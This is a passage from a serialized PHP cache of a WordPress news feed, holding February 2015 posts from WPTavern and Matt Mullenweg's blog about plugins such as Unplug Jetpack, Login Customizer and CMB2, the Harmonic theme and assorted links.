title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\">Part 1</a> covers domains and hosting while <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\">part 2</a> is about setting up WordPress. Her journey is an eye-opening experience and shows how many areas of WordPress are ripe for improvement.</p>\n<p>If WordPress is going to achieve <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\">50% market share</a>, it needs to be easy to install and use. The New User Experience initiative is a good step towards ensuring the future of WordPress adoption.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 19:42:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:21;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"Matt: Fusion.net\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44663\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"http://ma.tt/2015/02/fusion-net/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:347:\"<p>There&#8217;s <a href=\"http://fusion.net/\">a relatively new site called Fusion.net that is definitely worth checking out</a>, it&#8217;s already full of great articles and they&#8217;re <a href=\"http://techmeme.com/lb\">starting to climb up the Techmeme Leaderboard</a>. They run on <a href=\"http://vip.wordpress.com/\">WordPress.com VIP</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:30:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:22;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"WPTavern: Unplug Jetpack: Use Jetpack Modules Without Connecting to WordPress.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38723\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/unplug-jetpack-use-jetpack-modules-without-connecting-to-wordpress-com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2837:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg\" rel=\"prettyphoto[38723]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg?resize=1024%2C510\" alt=\"photo credit: Unplugged - (license)\" class=\"size-full wp-image-38734\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/23307937@N04/3415991748\">Unplugged</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Connecting a WordPress.com account in order to use Jetpack can be a hassle, especially when developing for clients or working on your local machine. If you like Jetpack but don&#8217;t want to connect to WordPress.com, there&#8217;s a new plugin that makes it easy to use the features that don&#8217;t require a connection.</p>\n<p><a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> was created by WordPress developer <a href=\"http://tannermoushey.com/\" target=\"_blank\">Tanner Moushey</a>. With the plugin activated, you won&#8217;t be required to connect to WordPress.com unless you need to use Site stats, Publicize, Related Posts, etc. If you don&#8217;t see the module you&#8217;re looking for among the others, that means that it likely requires a WordPress.com connection in order to use it.</p>\n<p>The Unplug Jetpack plugin essentially puts Jetpack into development mode. Development mode was introduced in Jetpack <a href=\"http://jetpack.me/2013/03/28/jetpack-dev-mode-release/\" target=\"_blank\">2.2.1</a> to help developers with local testing. It allows you to use features that do not require a connection to WordPress.com servers. Ordinarily, turning on development mode requires adding a line to your wp-config.php file or employing the filter via a plugin.</p>\n<p>Unplug Jetpack is convenient, because it allows you to turn development mode on/off using a plugin. It uses the Jetpack-supported method for doing this and consists of just a couple lines of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">\nfunction uj_init() {\n	add_filter( \'jetpack_development_mode\', \'__return_true\' );\n}\nadd_action( \'plugins_loaded\', \'uj_init\' );\n</pre>\n<p>When asked whether or not the plugin offers a performance boost as opposed to using non-WordPress.com dependent modules with the connection to WordPress.com, Moushey <a href=\"https://twitter.com/tannermoushey/status/564189285071351808\" target=\"_blank\">said</a> that it&#8217;s unlikely to have a significant performance impact. &#8220;But that is not really the point of this,&#8221; he said. It&#8217;s the principle of the matter &#8211; being able to use Jetpack&#8217;s code without the requirement of connecting to a third party. <a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> lets you do that with the flip of a switch.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:22:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:23;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"Matt: What is a Hacker?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44661\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/what-is-a-hacker/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:150:\"<p>Steven Levy asks <a href=\"https://medium.com/backchannel/what-is-a-hacker-51257cad8b54\">What is a Hacker? and gets some great answers back</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 01:08:47 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:24;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"Matt: Productivity of Working from Home\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44659\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://ma.tt/2015/02/productivity-of-working-from-home/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:270:\"<p>FiveThirtyEight says <a href=\"http://fivethirtyeight.com/datalab/people-working-from-home-in-a-snowstorm-may-be-producing-more-than-you-are/\">People Working From Home In A Snowstorm May Be Producing More Than You Are</a>, on the productivity of working from home.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 08 Feb 2015 03:41:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:25;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: Tom Ford’s 15 Things\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44642\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"http://ma.tt/2015/02/tom-fords-15-things/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1195:\"<p>For the <a href=\"http://www.vogue.co.uk/spy/15th-anniversary\">15th anniversary of Vogue.com</a> noted fashion designer Tom Ford made a list of 15 things that every man should have, which are as follow:</p>\n<ol>\n<li>A sense of humour.</li>\n<li>A daily read of a newspaper.</li>\n<li>A sport that you love and are good at.</li>\n<li>Tweezers.</li>\n<li>A good cologne that becomes a signature.</li>\n<li>A well cut dark suit.</li>\n<li>A pair of classic black lace up shoes.</li>\n<li>A smart blazer.</li>\n<li>The perfect pair of dark denim jeans.</li>\n<li>Lots of crisp white cotton shirts.</li>\n<li>Always new socks and underwear, throw away the old ones every 6 months.</li>\n<li>A classic tuxedo.</li>\n<li>A beautiful day watch with a metal band.</li>\n<li>The perfect sunglasses.</li>\n<li>Perfect teeth. If you don&#8217;t have them, save up and get them fixed.</li>\n</ol>\n<p>A pretty good list, though I would <a href=\"http://cir.ca/\">replace the newspaper with Circa</a>, and I must confess I&#8217;m not sure sure what #4 the tweezers are for.</p>\n<p><a href=\"http://om.co/2011/07/05/tom-ford-5-tips-to-be-a-modern-gentleman/\">Om also has Tom Ford&#8217;s 5 tips for a modern gentleman</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 23:49:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:26;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"WPTavern: Customize Your Login Page Using the WordPress Customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38581\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"http://wptavern.com/customize-your-login-page-using-the-wordpress-customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2713:\"<p>As a result of the improvements to the Customizer API in WordPress 4.0 and 4.1, developers now have access to a wider array of controls and parameters that allow them to extend the feature for more varied uses beyond themes. The new <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Custom Login Customizer</a> plugin is a prime example of making the customizer available outside of a theme-related context.</p>\n<p>The plugin adds its own panel to the customizer with a myriad of options for customizing the design of your site&#8217;s login page.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg\" rel=\"prettyphoto[38581]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg?resize=987%2C572\" alt=\"login-customizer\" class=\"aligncenter size-full wp-image-38688\" /></a></p>\n<p>Custom Login Customizer allows you to customize nearly every aspect of the login form, including the following:</p>\n<ul>\n<li>Set a login logo, along with width, height, and padding</li>\n<li>Add a background, select background color and size</li>\n<li>Set a background for the form</li>\n<li>Adjust form styling &#8211; width, height, padding, border</li>\n<li>Style input field width, margin, background, and input/label colors</li>\n<li>Color picker for button background, border, hover background/border, button box shadow</li>\n<li>Select text colors</li>\n<li>Add custom CSS</li>\n</ul>\n<p>I tested the plugin and found it works smoothly as advertised. Once installed, navigate to Appearance > Login Customizer in order to launch your login page in the customizer while still being logged in.</p>\n<p>Custom Login Customizer was created by WordPress developer <a href=\"http://www.hardeepasrani.com/\" target=\"_blank\">Hardeep Asrani</a> and then sold to <a href=\"https://themeisle.com/\" target=\"_blank\">ThemeIsle.com</a> last week. &#8220;I believe Themeisle will most probably have a premium version with some more features in the future,&#8221; Asrani said. &#8220;However, the free plugin will still be there at the WordPerss.org repository and will have more features soon. At this moment, there&#8217;s no premium version or a plan for it.&#8221;</p>\n<p>There are many plugins out there which allow you to customize your login page. However, the advantage of using this particular one is that you can preview your changes live before saving them. This is one of the best uses of the customizer in a plugin that I have seen so far. It makes designing your login page an easy and enjoyable experience. Download the <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Login Customizer</a> from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 22:44:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:27;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:74:\"WPTavern: Custom Metaboxes and Fields for WordPress (CMB2) Now Out of Beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38417\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:82:\"http://wptavern.com/custom-metaboxes-and-fields-for-wordpress-cmb2-now-out-of-beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4291:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg\" rel=\"prettyphoto[38417]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg?resize=768%2C372\" alt=\"photo credit: Different types of wand cases stacked - (license)\" class=\"size-full wp-image-38683\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22464562@N00/8084402724\">Different types of wand cases stacked</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The <a href=\"https://github.com/WebDevStudios/CMB2\" target=\"_blank\">Custom Metaboxes and Fields for WordPress (CMB2)</a> plugin is now officially out of beta and ready for public use. The tool was created to make it easy for developers to create metaboxes and forms with custom fields. Developers at <a href=\"http://webdevstudios.com/\" target=\"_blank\">WebDevStudios</a> took over the <a href=\"https://github.com/WebDevStudios/Custom-Metaboxes-and-Fields-for-WordPress\" target=\"_blank\">original CMB GitHub repository</a> from Jared Atchison, its original creator, in December of 2013.</p>\n<p>Justin Sternberg <a href=\"http://webdevstudios.com/2015/02/02/cmb2-wordpress-plugin/\" target=\"_blank\">explained</a> why WebDevStudios chose to start contributing to the CMB2 project:</p>\n<blockquote><p>After having been burned by some issues with other custom field plugins, we determined it was best to stick with code that we had some control over. We fell in love with CMB because it was a library we could include in any of our projects and it would just work while letting us keep all of the field configuration in the code, and more importantly, in our version control system.</p></blockquote>\n<p>Due to irreconcilable shortcomings in the original CMB, WebDevStudios opted to fork the project and create a new one that wouldn&#8217;t have the same backwards compatibility requirements. If you used CMB in the past, it&#8217;s important to note that the new CMB2 project has renamed every class, function, hook, and filter in the library to avoid conflicts with the original. It&#8217;s essentially a complete re-write.</p>\n<p>&#8220;CMB2 was built with a new mechanism to ensure it only loads the most recent version of CMB2 in your system,&#8221; Sternberg said. &#8220;This ensures that a plugin with an old bundled version will not conflict or take precedence over your up-to-date version.&#8221;</p>\n<p>The new <a href=\"https://wordpress.org/plugins/cmb2/\" target=\"_blank\">CMB2 is now available on WordPress.org</a> as a plugin for easy activation when you want to use it with one of your projects. As an alternative, you can <a href=\"https://github.com/WebDevStudios/CMB2/blob/master/example-functions.php#L14\" target=\"_blank\">include CMB2 directly</a>. The newly released plugin features the following:</p>\n<ul>\n<li>Create metaboxes to be used on post edit screens.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Using-CMB-to-create-an-Admin-Theme-Options-Page\" target=\"_blank\">Create forms to be used on an options pages.</a></li>\n<li>Create forms to handle user meta and display them on user profile add/edit pages.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" target=\"_blank\">Flexible API that allows you to use CMB forms almost anywhere, even on the front-end</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Field-Types#types\" target=\"_blank\">30+ built-in field types</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Adding-your-own-field-types\" target=\"_blank\">Custom API hook that allows you to create your own field types</a></li>\n<li>Numerous hooks and filters, allowing you to modify many aspects of the library (without editing it directly)</li>\n<li>Repeatable fields for most field types are supported, as well as repeatable field groups</li>\n</ul>\n<p>The WebDevStudios team plans to maintain strict backwards compatibility moving forward, as of CMB2&#8217;s 2.0.1 release on WordPress.org. If you want to include CMB2 as part of your next project, make sure to check out the plugin&#8217;s <a href=\"https://github.com/WebDevStudios/CMB2/wiki\" target=\"_blank\">wiki and code library</a> for tips on how to add metaboxes, fields, and forms to WordPress themes and plugins.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 21:05:54 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:28;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: Harmonic: A Bold Free WordPress Theme for Artists and Bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38617\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/harmonic-a-bold-free-wordpress-theme-for-artists-and-bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3114:\"<p>If you like designs that feature stunning, fullscreen background images, then Automattic&#8217;s latest free theme release is a prime candidate for your next blog redesign. <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> recently landed on WordPress.org and is rapidly closing in on 3,000 downloads.</p>\n<p>This theme puts the spotlight on your images and content. Harmonic&#8217;s striking homepage is accompanied by a minimalist, one-column blog design and an optional portfolio page template.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png?resize=880%2C660\" alt=\"harmonic\" class=\"aligncenter size-full wp-image-38619\" /></a></p>\n<p>Each section of the scrolling front page has options in the customizer that let you assign a unique display. The customizer allows you to easily set a background for the news, page, widgets, and portfolio sections. You can even include a background shade so that the title and tagline are more readable. The Visibility options allow you to hide any of the sections you&#8217;re not currently using.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png?resize=1025%2C542\" alt=\"harmonic-customizer\" class=\"aligncenter size-full wp-image-38629\" /></a></p>\n<p>Single posts and pages with a featured image will display in a fullscreen design similar to the homepage. The blog archive is available with your choice of a one or two-column layout.</p>\n<p>With the addition of Jetpack, Harmonic also supports site logo upload and a portfolio. The customizer includes options for three different thumbnail aspect ratios, including: landscape (4:3), portrait (3:4), and square (1:1).</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg?resize=1025%2C748\" alt=\"media\" class=\"aligncenter size-full wp-image-38635\" /></a></p>\n<p>Harmonic includes a custom menu for social links and has support for 16 different social networks. Check out the <a href=\"https://harmonicdemo.wordpress.com/\" target=\"_blank\">live demo</a> on WordPress.com to see the theme in action.</p>\n<p>With the release of <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> for self-hosted sites, Automattic now has 60 free themes available in the directory. This theme caters to visual artists and bloggers who have large images to showcase in the background, portfolio, or gallery sections of the site.</p>\n<p>Harmonic is unique in that it transforms featured images and titles into a splash page style intro to single posts. If you want to use images to make a strong impact on your reader, this theme fits the bill. It&#8217;s available on both WordPress.com and self-hosted WordPress sites via the admin themes browser.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 08:19:58 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah 